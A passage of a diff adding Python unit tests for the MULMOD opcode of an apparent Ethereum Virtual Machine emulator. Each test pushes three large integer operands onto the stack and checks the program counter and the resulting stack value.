+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [91534152025542227038538073507360954746680149896L])
+
+    def test_MULMOD_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639687L])
+
+    def test_MULMOD_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820208L])
+
+    def test_MULMOD_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639439L])
+
+    def test_MULMOD_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [481L])
+
+    def test_MULMOD_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1024L])
+
+    def test_MULMOD_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639191L])
+
+    def test_MULMOD_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820689L])
+
+    def test_MULMOD_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2304L])
+
+    def test_MULMOD_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
